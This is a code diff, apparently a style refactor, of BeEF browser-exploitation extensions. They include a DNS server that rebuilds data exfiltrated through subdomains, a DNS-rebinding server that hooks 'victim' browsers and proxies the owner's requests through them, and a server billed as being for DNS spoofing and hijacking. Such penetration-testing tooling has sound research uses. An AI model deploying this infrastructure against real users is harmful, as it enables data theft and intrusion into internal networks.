eruby = Erubis::FastEruby.new(File.read(File.dirname(__FILE__)+'/html/index.html'))
config.get("beef.extension.customhook.hooks").each do |h|
eruby = Erubis::FastEruby.new(File.read("#{File.dirname(__FILE__)}/html/index.html"))
config.get('beef.extension.customhook.hooks').each do |h|
path = config.get("beef.extension.customhook.hooks.#{h.first}.path")
if path == "#{env['REQUEST_URI']}"
next unless path == (env['REQUEST_URI']).to_s
print_info "[Custom Hook] Handling request for custom hook mounted at '#{path}'"
@body << eruby.evaluate({
'customhook_target' => config.get("beef.extension.customhook.hooks.#{h.first}.target"),
@@ -26,7 +25,6 @@ module Customhook
})
break
end
end
@response = Rack::Response.new(
body = [@body],
@@ -40,19 +38,14 @@ module Customhook
'Access-Control-Allow-Methods' => 'POST, GET'
}
)
end
private
# @note Object representing the HTTP request
@request
# @note Object representing the HTTP response
@response
end
end
end
end
end
end

View File

@@ -11,15 +11,16 @@ module BeEF
def self.mount_handler(beef_server)
# mount everything in html directory to /demos/
path = File.dirname(__FILE__) + '/html/'
files = Dir[path + '**/*']
path = "#{File.dirname(__FILE__)}/html/"
files = Dir["#{path}**/*"]
beef_server.mount('/demos', Rack::File.new(path))
files.each do |f|
# don't follow symlinks
next if File.symlink?(f)
mount_path = '/demos/' + f.sub(path, '')
mount_path = "/demos/#{f.sub(path, '')}"
if File.extname(f) == '.html'
# use handler to mount HTML templates
beef_server.mount(mount_path, BeEF::Extension::Demos::Handler.new(f))

View File

@@ -38,8 +38,6 @@ module BeEF
)
end
private
# @note String representing the absolute path to the .html file
@file_path

View File

@@ -7,9 +7,7 @@ module BeEF
module Extension
module Dns
module API
module NameserverHandler
BeEF::API::Registrar.instance.register(
BeEF::Extension::Dns::API::NameserverHandler,
BeEF::API::Server,
@@ -25,11 +23,15 @@ module BeEF
# Starts the DNS nameserver at BeEF startup.
#
# @param http_hook_server [BeEF::Core::Server] HTTP server instance
def self.pre_http_start(http_hook_server)
def self.pre_http_start(_http_hook_server)
dns_config = BeEF::Core::Configuration.instance.get('beef.extension.dns')
dns = BeEF::Extension::Dns::Server.instance
protocol = dns_config['protocol'].to_sym rescue :udp
protocol = begin
dns_config['protocol'].to_sym
rescue StandardError
:udp
end
address = dns_config['address'] || '127.0.0.1'
port = dns_config['port'] || 5300
interfaces = [[protocol, address, port]]
@@ -44,12 +46,13 @@ module BeEF
up_port = server[2]
next if [up_protocol, up_address, up_port].include?(nil)
servers << [up_protocol.to_sym, up_address, up_port] if up_protocol =~ /^(tcp|udp)$/
upstream_servers << "Upstream Server: #{up_address}:#{up_port} (#{up_protocol})\n"
end
end
dns.run(:upstream => servers, :listen => interfaces)
dns.run(upstream: servers, listen: interfaces)
print_info "DNS Server: #{address}:#{port} (#{protocol})"
print_more upstream_servers unless upstream_servers.empty?
@@ -61,9 +64,7 @@ module BeEF
def self.mount_handler(beef_server)
beef_server.mount('/api/dns', BeEF::Extension::Dns::DnsRest.new)
end
end
end
end
end

View File

@@ -6,20 +6,18 @@
module BeEF
module Extension
module Dns
# Provides the core DNS nameserver functionality. The nameserver handles incoming requests
# using a rule-based system. A list of user-defined rules is used to match against incoming
# DNS requests. These rules generate a response that is either a resource record or a
# failure code.
class Server < Async::DNS::Server
include Singleton
def initialize
super()
@lock = Mutex.new
@database = BeEF::Core::Models::Dns::Rule
@data_chunks = Hash.new
@data_chunks = {}
end
# Adds a new DNS rule. If the rule already exists, its current ID is returned.
@@ -49,9 +47,9 @@ module BeEF
$VERBOSE = verbose
@database.find_or_create_by(
:resource => rule[:resource].to_s,
:pattern => pattern.source,
:response => rule[:response]
resource: rule[:resource].to_s,
pattern: pattern.source,
response: rule[:response]
).id
end
end
@@ -63,14 +61,12 @@ module BeEF
# @return [Hash] hash representation of rule (empty hash if rule wasn't found)
def get_rule(id)
@lock.synchronize do
begin
rule = @database.find(id)
return to_hash(rule)
rescue ActiveRecord::RecordNotFound
return nil
end
end
end
# Removes the given DNS rule.
#
@@ -81,9 +77,7 @@ module BeEF
@lock.synchronize do
begin
rule = @database.find(id)
if not rule.nil? and rule.destroy
return true
end
return true if !rule.nil? && rule.destroy
rescue ActiveRecord::RecordNotFound
return nil
end
@@ -110,9 +104,7 @@ module BeEF
# @return [Boolean] true if ruleset was destroyed, otherwise false
def remove_ruleset!
@lock.synchronize do
if @database.destroy_all
return true
end
return true if @database.destroy_all
end
end
@@ -134,7 +126,7 @@ module BeEF
if upstream
resolver = Async::DNS::Resolver.new(upstream)
@otherwise = Proc.new { |t| t.passthrough!(resolver) }
@otherwise = proc { |t| t.passthrough!(resolver) }
end
begin
@@ -143,14 +135,12 @@ module BeEF
rescue RuntimeError => e
if e.message =~ /no datagram socket/ || e.message =~ /no acceptor/ # the port is in use
print_error "[DNS] Another process is already listening on port #{options[:listen]}"
print_error "Exiting..."
print_error 'Exiting...'
exit 127
else
raise
end
end
end
end
end
@@ -164,42 +154,41 @@ module BeEF
# @param transaction [RubyDNS::Transaction] internal RubyDNS class detailing DNS question/answer
def process(name, resource, transaction)
@lock.synchronize do
resource = resource.to_s
print_debug "Received DNS request (name: #{name} type: #{format_resource(resource)})"
# no need to parse AAAA resources when data is extruded from client. Also we check if the FQDN starts with the 0xb3 string.
# this 0xb3 is convenient to clearly separate DNS requests used to extrude data from normal DNS requests than should be resolved by the DNS server.
if format_resource(resource) == 'A' and name.match(/^0xb3/)
if format_resource(resource) == 'A' && name.match(/^0xb3/)
reconstruct(name.split('0xb3').last)
catch (:done) do
catch(:done) do
transaction.fail!(:NXDomain)
end
return
end
catch (:done) do
catch(:done) do
# Find rules matching the requested resource class
resources = @database.where(:resource => resource)
resources = @database.where(resource: resource)
throw :done if resources.length == 0
# Narrow down search by finding a matching pattern
resources.each do |rule|
pattern = Regexp.new(rule.pattern)
if name =~ pattern
next unless name =~ pattern
print_debug "Found matching DNS rule (id: #{rule.id} response: #{rule.response})"
Proc.new { |t| eval(rule.callback) }.call(transaction)
proc { |_t| eval(rule.callback) }.call(transaction)
throw :done
end
end
if @otherwise
print_debug "No match found, querying upstream servers"
print_debug 'No match found, querying upstream servers'
@otherwise.call(transaction)
else
print_debug "No match found, sending NXDOMAIN response"
print_debug 'No match found, sending NXDOMAIN response'
transaction.fail!(:NXDomain)
end
end
@@ -207,10 +196,11 @@ module BeEF
end
private
# Collects and reconstructs data extruded by the client and found in subdomain, with structure like:
#0.1.5.4c6f72656d20697073756d20646f6c6f722073697420616d65742c20636f6e7.browserhacker.com
#[...]
#0.5.5.7565207175616d206469676e697373696d2065752e.browserhacker.com
# 0.1.5.4c6f72656d20697073756d20646f6c6f722073697420616d65742c20636f6e7.browserhacker.com
# [...]
# 0.5.5.7565207175616d206469676e697373696d2065752e.browserhacker.com
def reconstruct(data)
split_data = data.split('.')
pack_id = split_data[0]
@@ -218,32 +208,32 @@ module BeEF
seq_tot = split_data[2]
data_chunk = split_data[3] # this might change if we store more than 63 bytes in a chunk (63 is the limitation from RFC)
if pack_id.match(/^(\d)+$/) and seq_num.match(/^(\d)+$/) and seq_tot.match(/^(\d)+$/)
unless pack_id.match(/^(\d)+$/) && seq_num.match(/^(\d)+$/) && seq_tot.match(/^(\d)+$/)
print_debug "[DNS] Received invalid chunk:\n #{data}"
return
end
print_debug "[DNS] Received chunk (#{seq_num} / #{seq_tot}) of packet (#{pack_id}): #{data_chunk}"
if @data_chunks[pack_id] == nil
if @data_chunks[pack_id].nil?
# no previous chunks received, create new Array to store chunks
@data_chunks[pack_id] = Array.new(seq_tot.to_i)
@data_chunks[pack_id][seq_num.to_i - 1] = data_chunk
else
# previous chunks received, update Array
@data_chunks[pack_id][seq_num.to_i - 1] = data_chunk
if @data_chunks[pack_id].all? and @data_chunks[pack_id] != 'DONE'
if @data_chunks[pack_id].all? && @data_chunks[pack_id] != 'DONE'
# means that no position in the array is false/nil, so we received all the packet chunks
packet_data = @data_chunks[pack_id].join('')
decoded_packet_data = packet_data.scan(/../).map{ |n| n.to_i(16)}.pack('U*')
decoded_packet_data = packet_data.scan(/../).map { |n| n.to_i(16) }.pack('U*')
print_debug "[DNS] Packet data fully received: #{packet_data}. \n Converted from HEX: #{decoded_packet_data}"
# we might get more DNS requests for the same chunks sometimes, once every chunk of a packet is received, mark it
@data_chunks[pack_id] = 'DONE'
end
end
else
print_debug "[DNS] Data (#{data}) is not a valid chunk."
end
end
private
# Helper method that converts a DNS rule to a hash.
#
# @param rule [BeEF::Core::Models::Dns::Rule] rule to be converted
@@ -279,9 +269,7 @@ module BeEF
def format_resource(resource)
/::(\w+)$/.match(resource)[1]
end
end
end
end
end

View File

@@ -5,18 +5,15 @@
#
require 'async/dns'
module BeEF
module Extension
module Dns
extend BeEF::API::Extension
@short_name = 'dns'
@full_name = 'DNS Server'
@description = 'A configurable DNS nameserver for performing DNS spoofing, ' +
'hijacking, and other related attacks against hooked browsers.'
end
end
end

View File

@@ -6,10 +6,8 @@
# Disables the logger used by RubyDNS due to its excessive verbosity.
class Logger
def debug(msg = ''); end
def info(msg = ''); end
def error(msg = ''); end
def warn(msg = ''); end
end

View File

@@ -7,10 +7,8 @@ module BeEF
module Core
module Models
module Dns
# Represents an individual DNS rule.
class Rule < BeEF::Core::Model
# Hooks the model's "save" event. Validates pattern/response and generates a rule identifier.
before_save :check_rule
self.table_name = 'dns_rules'
@@ -19,16 +17,13 @@ module BeEF
private
def check_rule
begin
validate_pattern(self.pattern)
self.callback = format_callback(self.resource.constantize, self.response)
validate_pattern(pattern)
self.callback = format_callback(resource.constantize, response)
rescue InvalidDnsPatternError, UnknownDnsResourceError, InvalidDnsResponseError => e
print_error e.message
throw :halt
end
#self.id = BeEF::Core::Crypto.dns_rule_id
# self.id = BeEF::Core::Crypto.dns_rule_id
end
# Verifies that the given pattern is valid (i.e. non-empty, no null's or printable characters).
@@ -47,18 +42,19 @@ module BeEF
def format_callback(resource, response)
sym_regex = /^:?(NoError|FormErr|ServFail|NXDomain|NotImp|Refused|NotAuth)$/i
src = if resource == Resolv::DNS::Resource::IN::A
if resource == Resolv::DNS::Resource::IN::A
if response.is_a?(String) && BeEF::Filters.is_valid_ip?(response, :ipv4)
sprintf "t.respond!('%s')", response
format "t.respond!('%s')", response
elsif (response.is_a?(Symbol) && response.to_s =~ sym_regex) || response =~ sym_regex
sprintf "t.fail!(:%s)", response.to_sym
format 't.fail!(:%s)', response.to_sym
elsif response.is_a?(Array)
str1 = "t.respond!('%s');"
str2 = ''
response.each do |r|
raise InvalidDnsResponseError, 'A' unless BeEF::Filters.is_valid_ip?(r, :ipv4)
str2 << sprintf(str1, r)
str2 << format(str1, r)
end
str2
@@ -67,16 +63,17 @@ module BeEF
end
elsif resource == Resolv::DNS::Resource::IN::AAAA
if response.is_a?(String) && BeEF::Filters.is_valid_ip?(response, :ipv6)
sprintf "t.respond!('%s')", response
format "t.respond!('%s')", response
elsif (response.is_a?(Symbol) && response.to_s =~ sym_regex) || response =~ sym_regex
sprintf "t.fail!(:%s)", response.to_sym
format 't.fail!(:%s)', response.to_sym
elsif response.is_a?(Array)
str1 = "t.respond!('%s');"
str2 = ''
response.each do |r|
raise InvalidDnsResponseError, 'AAAA' unless BeEF::Filters.is_valid_ip?(r, :ipv6)
str2 << sprintf(str1, r)
str2 << format(str1, r)
end
str2
@@ -85,9 +82,9 @@ module BeEF
end
elsif resource == Resolv::DNS::Resource::IN::CNAME
if response.is_a?(String) && BeEF::Filters.is_valid_domain?(response)
sprintf "t.respond!(Resolv::DNS::Name.create('%s'))", response
format "t.respond!(Resolv::DNS::Name.create('%s'))", response
elsif (response.is_a?(Symbol) && response.to_s =~ sym_regex) || response =~ sym_regex
sprintf "t.fail!(:%s)", response.to_sym
format 't.fail!(:%s)', response.to_sym
else
raise InvalidDnsResponseError, 'CNAME'
end
@@ -95,25 +92,26 @@ module BeEF
if response[0].is_a?(Integer) &&
BeEF::Filters.is_valid_domain?(response[1])
data = { :preference => response[0], :exchange => response[1] }
sprintf "t.respond!(%<preference>d, Resolv::DNS::Name.create('%<exchange>s'))", data
data = { preference: response[0], exchange: response[1] }
format "t.respond!(%<preference>d, Resolv::DNS::Name.create('%<exchange>s'))", data
elsif (response.is_a?(Symbol) && response.to_s =~ sym_regex) || response =~ sym_regex
sprintf "t.fail!(:%s)", response.to_sym
format 't.fail!(:%s)', response.to_sym
else
raise InvalidDnsResponseError, 'MX'
end
elsif resource == Resolv::DNS::Resource::IN::NS
if response.is_a?(String) && BeEF::Filters.is_valid_domain?(response)
sprintf "t.respond!(Resolv::DNS::Name.create('%s'))", response
format "t.respond!(Resolv::DNS::Name.create('%s'))", response
elsif (response.is_a?(Symbol) && response.to_s =~ sym_regex) || response =~ sym_regex
sprintf "t.fail!(:%s)", response.to_sym
format 't.fail!(:%s)', response.to_sym
elsif response.is_a?(Array)
str1 = "t.respond!(Resolv::DNS::Name.create('%s'))"
str2 = ''
response.each do |r|
raise InvalidDnsResponseError, 'NS' unless BeEF::Filters.is_valid_domain?(r)
str2 << sprintf(str1, r)
str2 << format(str1, r)
end
str2
@@ -122,9 +120,9 @@ module BeEF
end
elsif resource == Resolv::DNS::Resource::IN::PTR
if response.is_a?(String) && BeEF::Filters.is_valid_domain?(response)
sprintf "t.respond!(Resolv::DNS::Name.create('%s'))", response
format "t.respond!(Resolv::DNS::Name.create('%s'))", response
elsif (response.is_a?(Symbol) && response.to_s =~ sym_regex) || response =~ sym_regex
sprintf "t.fail!(:%s)", response.to_sym
format 't.fail!(:%s)', response.to_sym
else
raise InvalidDnsResponseError, 'PTR'
end
@@ -142,16 +140,16 @@ module BeEF
end
data = {
:mname => response[0],
:rname => response[1],
:serial => response[2],
:refresh => response[3],
:retry => response[4],
:expire => response[5],
:minimum => response[6]
mname: response[0],
rname: response[1],
serial: response[2],
refresh: response[3],
retry: response[4],
expire: response[5],
minimum: response[6]
}
sprintf "t.respond!(Resolv::DNS::Name.create('%<mname>s'), " +
format "t.respond!(Resolv::DNS::Name.create('%<mname>s'), " +
"Resolv::DNS::Name.create('%<rname>s'), " +
'%<serial>d, ' +
'%<refresh>d, ' +
@@ -160,72 +158,62 @@ module BeEF
'%<minimum>d)',
data
elsif (response.is_a?(Symbol) && response.to_s =~ sym_regex) || response =~ sym_regex
sprintf "t.fail!(:%s)", response.to_sym
format 't.fail!(:%s)', response.to_sym
else
raise InvalidDnsResponseError, 'SOA'
end
elsif resource == Resolv::DNS::Resource::IN::WKS
if response.is_a?(Array)
unless BeEF::Filters.is_valid_ip?(resource[0]) &&
if !BeEF::Filters.is_valid_ip?(resource[0]) &&
resource[1].is_a?(Integer) &&
resource[2].is_a?(Integer)
raise InvalidDnsResponseError, 'WKS' unless resource.is_a?(String)
resource[2].is_a?(Integer) && !resource.is_a?(String)
raise InvalidDnsResponseError, 'WKS'
end
data = {
:address => response[0],
:protocol => response[1],
:bitmap => response[2]
address: response[0],
protocol: response[1],
bitmap: response[2]
}
sprintf "t.respond!('%<address>s', %<protocol>d, %<bitmap>d)", data
format "t.respond!('%<address>s', %<protocol>d, %<bitmap>d)", data
elsif (response.is_a?(Symbol) && response.to_s =~ sym_regex) || response =~ sym_regex
sprintf "t.fail!(:%s)", response.to_sym
format 't.fail!(:%s)', response.to_sym
else
raise InvalidDnsResponseError, 'WKS'
end
else
raise UnknownDnsResourceError
end
src
end
# Raised when an invalid pattern is given.
class InvalidDnsPatternError < StandardError
DEFAULT_MESSAGE = 'Failed to add DNS rule with invalid pattern'
def initialize(message = nil)
super(message || DEFAULT_MESSAGE)
end
end
# Raised when a response is not valid for the given DNS resource record.
class InvalidDnsResponseError < StandardError
def initialize(message = nil)
str = "Failed to add DNS rule with invalid response for %s resource record", message
message = sprintf str, message unless message.nil?
str = 'Failed to add DNS rule with invalid response for %s resource record', message
message = format str, message unless message.nil?
super(message)
end
end
# Raised when an unknown DNS resource record is given.
class UnknownDnsResourceError < StandardError
DEFAULT_MESSAGE = 'Failed to add DNS rule with unknown resource record'
def initialize(message = nil)
super(message || DEFAULT_MESSAGE)
end
end
end
end
end
end

View File

@@ -6,10 +6,8 @@
module BeEF
module Extension
module Dns
# This class handles the routing of RESTful API requests that query BeEF's DNS server
class DnsRest < BeEF::Core::Router::Router
# Filters out bad requests before performing any routing
before do
@dns ||= BeEF::Extension::Dns::Server.instance
@@ -27,7 +25,6 @@ module BeEF
# Returns the entire current DNS ruleset
get '/ruleset' do
begin
ruleset = @dns.get_ruleset
count = ruleset.length
@@ -39,15 +36,14 @@ module BeEF
print_error "Internal error while retrieving DNS ruleset (#{e.message})"
halt 500
end
end
# Returns a specific rule given its id
get '/rule/:id' do
begin
id = params[:id]
rule = @dns.get_rule(id)
raise InvalidParamError, 'id' if rule.nil?
halt 404 if rule.empty?
rule.to_json
@@ -58,11 +54,9 @@ module BeEF
print_error "Internal error while retrieving DNS rule with id #{id} (#{e.message})"
halt 500
end
end
# Adds a new DNS rule
post '/rule' do
begin
body = JSON.parse(request.body.read)
pattern = body['pattern']
@@ -70,42 +64,34 @@ module BeEF
response = body['response']
# Validate required JSON keys
if pattern.nil? || pattern.eql?('')
raise InvalidJsonError, 'Empty "pattern" key passed to endpoint /api/dns/rule'
end
if resource !~ /\A[A-Z]+\Z/
raise InvalidJsonError, 'Invalid "resource" key passed to endpoint /api/dns/rule'
end
unless response.is_a?(Array)
raise InvalidJsonError, 'Non-array "response" key passed to endpoint /api/dns/rule'
end
if response.empty?
raise InvalidJsonError, 'Empty "response" array passed to endpoint /api/dns/rule'
end
raise InvalidJsonError, 'Empty "pattern" key passed to endpoint /api/dns/rule' if pattern.nil? || pattern.eql?('')
raise InvalidJsonError, 'Invalid "resource" key passed to endpoint /api/dns/rule' if resource !~ /\A[A-Z]+\Z/
raise InvalidJsonError, 'Non-array "response" key passed to endpoint /api/dns/rule' unless response.is_a?(Array)
raise InvalidJsonError, 'Empty "response" array passed to endpoint /api/dns/rule' if response.empty?
# Validate resource
case resource
when "A"
when 'A'
dns_resource = Resolv::DNS::Resource::IN::A
when "AAAA"
when 'AAAA'
dns_resource = Resolv::DNS::Resource::IN::AAAA
when "CNAME"
when 'CNAME'
dns_resource = Resolv::DNS::Resource::IN::CNAME
when "HINFO"
when 'HINFO'
dns_resource = Resolv::DNS::Resource::IN::HINFO
when "MINFO"
when 'MINFO'
dns_resource = Resolv::DNS::Resource::IN::MINFO
when "MX"
when 'MX'
dns_resource = Resolv::DNS::Resource::IN::MX
when "NS"
when 'NS'
dns_resource = Resolv::DNS::Resource::IN::NS
when "PTR"
when 'PTR'
dns_resource = Resolv::DNS::Resource::IN::PTR
when "SOA"
when 'SOA'
dns_resource = Resolv::DNS::Resource::IN::SOA
when "TXT"
when 'TXT'
dns_resource = Resolv::DNS::Resource::IN::TXT
when "WKS"
when 'WKS'
dns_resource = Resolv::DNS::Resource::IN::WKS
else
raise InvalidJsonError, 'Invalid "resource" key passed to endpoint /api/dns/rule'
@@ -113,9 +99,9 @@ module BeEF
# Add rule
id = @dns.add_rule(
:pattern => pattern,
:resource => dns_resource,
:response => response
pattern: pattern,
resource: dns_resource,
response: response
)
# Return result
@@ -130,11 +116,9 @@ module BeEF
print_error "Internal error while adding DNS rule (#{e.message})"
halt 500
end
end
# Removes a rule given its id
delete '/rule/:id' do
begin
id = params[:id]
removed = @dns.remove_rule!(id)
@@ -150,34 +134,27 @@ module BeEF
print_error "Internal error while removing DNS rule with id #{id} (#{e.message})"
halt 500
end
end
# Raised when invalid JSON input is passed to an /api/dns handler.
class InvalidJsonError < StandardError
DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/dns handler'
def initialize(message = nil)
super(message || DEFAULT_MESSAGE)
end
end
# Raised when an invalid named parameter is passed to an /api/dns handler.
class InvalidParamError < StandardError
DEFAULT_MESSAGE = 'Invalid parameter passed to /api/dns handler'
def initialize(message = nil)
str = "Invalid \"%s\" parameter passed to /api/dns handler"
message = sprintf str, message unless message.nil?
str = 'Invalid "%s" parameter passed to /api/dns handler'
message = format str, message unless message.nil?
super(message)
end
end
end
end
end
end

View File

@@ -1,17 +1,15 @@
module BeEF
module Extension
module DNSRebinding
module API
module Extension
module DNSRebinding
module API
module ServHandler
BeEF::API::Registrar.instance.register(
BeEF::Extension::DNSRebinding::API::ServHandler,
BeEF::API::Server,
'pre_http_start'
)
def self.pre_http_start(http_hook_server)
def self.pre_http_start(_http_hook_server)
config = BeEF::Core::Configuration.instance.get('beef.extension.dns_rebinding')
address_http = config['address_http_internal']
address_proxy = config['address_proxy_internal']
@@ -20,9 +18,8 @@ module API
Thread.new { BeEF::Extension::DNSRebinding::Server.run_server(address_http, port_http) }
Thread.new { BeEF::Extension::DNSRebinding::Proxy.run_server(address_proxy, port_proxy) }
end
end
end
end
end
end
end
end
end

View File

@@ -1,32 +1,30 @@
module BeEF
module Extension
module DNSRebinding
#Very simple HTTP server. Its task is only hook victim
module Extension
module DNSRebinding
# Very simple HTTP server. Its task is only hook victim
class Server
@debug_mode = false
def self.log(msg)
if @debug_mode
STDERR.puts msg.to_s
end
warn msg.to_s if @debug_mode
end
def self.run_server(address, port)
server = TCPServer.new(address, port)
@debug_mode = BeEF::Core::Configuration.instance.get("beef.extension.dns_rebinding.debug_mode")
@debug_mode = BeEF::Core::Configuration.instance.get('beef.extension.dns_rebinding.debug_mode')
loop do
s = server.accept
Thread.new(s) do |socket|
victim_ip = socket.peeraddr[2].to_s
log "-------------------------------\n"
log "[Server] Incoming request from "+victim_ip+"(Victim)\n"
log '[Server] Incoming request from ' + victim_ip + "(Victim)\n"
response = File.read(File.expand_path('../views/index.html', __FILE__))
response = File.read(File.expand_path('views/index.html', __dir__))
configuration = BeEF::Core::Configuration.instance
proto = configuration.get("beef.http.https.enable") == true ? "https" : "http"
hook_file = configuration.get("beef.http.hook_file")
hook_uri = "#{proto}://#{configuration.get("beef.http.host")}:#{configuration.get("beef.http.port")}#{hook_file}"
proto = configuration.get('beef.http.https.enable') == true ? 'https' : 'http'
hook_file = configuration.get('beef.http.hook_file')
hook_uri = "#{proto}://#{configuration.get('beef.http.host')}:#{configuration.get('beef.http.port')}#{hook_file}"
response.sub!('path_to_hookjs_template', hook_uri)
@@ -39,15 +37,17 @@ module DNSRebinding
socket.print response
socket.close
#Indicate that victim load all javascript and we can block it with iptables.
dr_config = configuration.get("beef.extension.dns_rebinding")
if start_string.include?("load")
# Indicate that victim load all javascript and we can block it with iptables.
dr_config = configuration.get('beef.extension.dns_rebinding')
if start_string.include?('load')
log "[Server] Block with iptables\n"
port_http = dr_config['port_http']
if BeEF::Filters::is_valid_ip?(victim_ip) && port_http.kind_of?(Integer)
IO.popen(["iptables","-A","INPUT","-s","#{victim_ip}","-p","tcp","--dport","#{port_http}","-j","REJECT","--reject-with","tcp-reset"], 'r+'){|io|}
if BeEF::Filters.is_valid_ip?(victim_ip) && port_http.is_a?(Integer)
IO.popen(['iptables', '-A', 'INPUT', '-s', victim_ip.to_s, '-p', 'tcp', '--dport', port_http.to_s, '-j', 'REJECT', '--reject-with', 'tcp-reset'],
'r+') do |io|
end
else
print_error "[Dns_Rebinding] victim_ip or port_http values are illegal."
print_error '[Dns_Rebinding] victim_ip or port_http values are illegal.'
end
end
log "-------------------------------\n"
@@ -63,17 +63,17 @@ module DNSRebinding
@mutex_queries = nil
@debug_mode = false
def self.send_http_response(socket, response, heads={})
def self.send_http_response(socket, response, heads = {})
socket.print "HTTP/1.1 200 OK\r\n"
headers = {}
headers["Content-Type"]="text/html"
headers["Content-Length"]=response.size.to_s
headers["Connection"]="close"
headers["Access-Control-Allow-Origin"]="*"
headers["Access-Control-Allow-Methods"]="POST, GET, OPTIONS"
headers["Access-Control-Expose-Headers"]="Content-Type, method, path"
headers["Access-Control-Allow-Headers"]="Content-Type, method, path"
headers['Content-Type'] = 'text/html'
headers['Content-Length'] = response.size.to_s
headers['Connection'] = 'close'
headers['Access-Control-Allow-Origin'] = '*'
headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'
headers['Access-Control-Expose-Headers'] = 'Content-Type, method, path'
headers['Access-Control-Allow-Headers'] = 'Content-Type, method, path'
headers_a = heads.to_a
headers_a.each do |header, value|
@@ -81,7 +81,7 @@ module DNSRebinding
end
headers.to_a.each do |header, value|
socket.print header+": "+value+"\r\n"
socket.print header + ': ' + value + "\r\n"
end
socket.print "\r\n"
@@ -89,18 +89,16 @@ module DNSRebinding
end
def self.log(log_message)
if @debug_mode
STDERR.puts log_message
end
warn log_message if @debug_mode
end
def self.read_http_message(socket)
message = {}
message['start_string'] = socket.gets.chomp
message['headers'] = {}
message['response'] = ""
message['response'] = ''
c = socket.gets
while c != "\r\n" do
while c != "\r\n"
name = c[/(.+): (.+)/, 1]
value = c[/(.+): (.+)/, 2]
message['headers'][name] = value.chomp
@@ -108,34 +106,34 @@ module DNSRebinding
end
length = message['headers']['Content-Length']
if length
#Ruby read() doesn't return while not read all <length> byte
# Ruby read() doesn't return while not read all <length> byte
resp = socket.read(length.to_i)
message['response'] = resp
end
return message
message
end
def self.handle_victim(socket, http_message)
log "[Victim]request from victim\n"
log http_message['start_string'].to_s+"\n"
log http_message['start_string'].to_s + "\n"
if http_message['start_string'].include?("POST")
#Get result from POST query
if http_message['start_string'].include?('POST')
# Get result from POST query
log "[Victim]Get the result of last query\n"
#Read query on which asked victim
query = http_message['start_string'][/path=([^HTTP]+)/,1][0..-2]
log "[Victim]asked path: "+query+"\n"
# Read query on which asked victim
query = http_message['start_string'][/path=([^HTP]+)/, 1][0..-2]
log '[Victim]asked path: ' + query + "\n"
length = http_message['headers']['Content-Length'].to_i
content_type = http_message['headers']['Content-Type']
log "[Victim]Content-type: "+content_type.to_s+"\n"
log "[Vicitm]Length: "+length.to_s+"\n"
log '[Victim]Content-type: ' + content_type.to_s + "\n"
log '[Vicitm]Length: ' + length.to_s + "\n"
response = http_message['response']
log "[Victim]Get content!\n"
send_http_response(socket, "ok")
send_http_response(socket, 'ok')
socket.close
log "[Victim]Close connection POST\n"
@@ -144,51 +142,49 @@ module DNSRebinding
@mutex_responses.lock
@responses[query] = [content_type, response]
@mutex_responses.unlock
elsif http_message['start_string'].include?("OPTIONS")
send_http_response(socket, "")
elsif http_message['start_string'].include?('OPTIONS')
send_http_response(socket, '')
socket.close
log "[Victim]Respond on OPTIONS reques\n"
log "--------------------------------\n"
else
#Look for queues from beef owner
# Look for queues from beef owner
log "[Victim]Waiting for next query..\n"
while @queries.size == 0
end
#Get the last query
# Get the last query
@mutex_queries.lock
log "[Victim]Get the last query\n"
last_query = @queries.pop
log "[Victim]Last query:"+last_query.to_s+"\n"
log '[Victim]Last query:' + last_query.to_s + "\n"
@mutex_queries.unlock
response = last_query[2]
send_http_response(socket, response, {'method'=>last_query[0], 'path'=>last_query[1]})
send_http_response(socket, response, { 'method' => last_query[0], 'path' => last_query[1] })
log "[Victim]Send next query to victim's browser\n"
log "---------------------------------------------\n"
socket.close
end
end
#Handle request from BeEF owner
# Handle request from BeEF owner
def self.handle_owner(socket, http_message)
log "[Owner]Request from owner\n"
path = http_message['start_string'][/(\/[^HTTP]+)/, 1][0..-2]
path = http_message['start_string'][%r{(/[^HTP]+)}, 1][0..-2]
if http_message['start_string'].include?("GET")
if path != nil
log "[Owner]Need path: "+path+"\n"
if http_message['start_string'].include?('GET')
unless path.nil?
log '[Owner]Need path: ' + path + "\n"
@queries.push(['GET', path, ''])
end
elsif http_message['start_string'].include?("POST")
elsif http_message['start_string'].include?('POST')
log "[Owner]Get POST request\n"
if path != nil
@queries.push(['POST', path, http_message['response']])
end
@queries.push(['POST', path, http_message['response']]) unless path.nil?
end
#Waiting for response, this check should not conflict with thread 2
while @responses[path] == nil
# Waiting for response, this check should not conflict with thread 2
while @responses[path].nil?
end
@mutex_responses.lock
@@ -199,7 +195,7 @@ module DNSRebinding
response = response_a[1]
content_type = response_a[0]
send_http_response(socket, response, {'Content-Type'=>content_type})
send_http_response(socket, response, { 'Content-Type' => content_type })
log "[Owner]Send response to owner\n"
log "-------------------------------\n"
@@ -210,12 +206,12 @@ module DNSRebinding
@server = TCPServer.new(address, port)
@mutex_responses = Mutex.new
@mutex_queries = Mutex.new
@debug_mode = BeEF::Core::Configuration.instance.get("beef.extension.dns_rebinding.debug_mode")
@debug_mode = BeEF::Core::Configuration.instance.get('beef.extension.dns_rebinding.debug_mode')
loop do
s = @server.accept
Thread.new(s) do |socket|
http_message = read_http_message(socket)
if http_message['start_string'].include?("from_victim")
if http_message['start_string'].include?('from_victim')
handle_victim(socket, http_message)
else
handle_owner(socket, http_message)
@@ -224,7 +220,6 @@ module DNSRebinding
end
end
end
end
end
end
end
end

View File

@@ -1,16 +1,14 @@
module BeEF
module Extension
module DNSRebinding
module Extension
module DNSRebinding
extend BeEF::API::Extension
@short_name = 'DNS Rebinding'
@full_name = 'DNS Rebinding'
@description = 'DNS Rebinding extension'
end
end
end
end
end
require 'extensions/dns_rebinding/api.rb'
require 'extensions/dns_rebinding/dns_rebinding.rb'
require 'extensions/dns_rebinding/api'
require 'extensions/dns_rebinding/dns_rebinding'

View File

@@ -4,10 +4,9 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
module ETag
module API
module Extension
module ETag
module API
module ETagHandler
BeEF::API::Registrar.instance.register(
BeEF::Extension::ETag::API::ETagHandler,
@@ -17,12 +16,10 @@ module API
def self.mount_handler(beef_server)
beef_server.mount('/etag', BeEF::Extension::ETag::ETagWebServer.new!)
print_info "ETag Server: /etag"
print_info 'ETag Server: /etag'
end
end
end
end
end
end
end
end
end

View File

@@ -4,9 +4,8 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
module ETag
module Extension
module ETag
require 'sinatra/base'
require 'singleton'
@@ -14,8 +13,8 @@ module ETag
include Singleton
attr_accessor :messages
